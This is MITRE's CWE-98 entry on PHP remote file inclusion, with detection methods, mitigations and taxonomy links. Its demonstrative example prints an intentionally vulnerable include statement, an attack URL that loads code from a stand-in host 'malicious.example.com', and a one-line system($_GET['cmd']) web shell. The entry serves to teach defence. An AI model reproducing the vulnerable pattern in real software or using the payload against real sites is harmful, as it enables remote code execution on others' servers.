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CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

 
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Weakness ID: 98 (Weakness Base)Status: Draft
+ Description

Description Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

+ Alternate Terms
Remote file include
RFI:

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion:

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

PHP: (Often)

+ Common Consequences
ScopeEffect

Technical Impact: Execute unauthorized code or commands

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness: High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

+ Demonstrative Examples

Example 1

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

victim.php

(Bad Code)
Example Language: PHP 
$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

(Attack)
 
victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(Bad Code)
 
system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

(Attack)
 
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

(Attack)
 
/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

+ Observed Examples
ReferenceDescription
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness: High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts699
Research Concepts1000
PeerOfWeakness ClassWeakness Class216Containment Errors (Container Errors)
Research Concepts1000
CanAlsoBeCompound Element: CompositeCompound Element: Composite426Untrusted Search Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
CanFollowWeakness BaseWeakness Base425Direct Request ('Forced Browsing')
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanFollowWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

+ Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP File Include
OWASP Top Ten 2007A3Malicious File Execution
WASC5Remote File Inclusion
+ References
[R.98.1] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[R.98.2] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-12] Shaun Clowes. "A Study in Scarlet". <http://www.cgisecurity.com/lib/studyinscarlet.txt>.
[REF-13] Stefan Esser. "Suhosin". <http://www.hardened-php.net/suhosin/>.
Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". SANS Software Security Institute. 2010-03-11. <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01CigitalExternal
updated Time_of_Introduction
2008-09-08MITREInternal
updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings
2009-01-12MITREInternal
updated Relationships
2009-03-10MITREInternal
updated Relationships
2009-05-27MITREInternal
updated Description, Name
2009-12-28MITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16
(Critical)
MITREInternal
converted from Compound_Element to Weakness
2010-02-16MITREInternal
updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type
2010-06-21MITREInternal
updated Potential_Mitigations, References
2010-09-27MITREInternal
updated Potential_Mitigations
2010-12-13MITREInternal
updated Potential_Mitigations
2011-06-27MITREInternal
updated Relationships
2012-10-30MITREInternal
updated Potential_Mitigations, References
2013-02-21MITREInternal
updated Alternate_Terms, Name, Observed_Examples
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11PHP File Inclusion
2009-05-27Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
2013-02-21Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')
Page Last Updated: June 23, 2014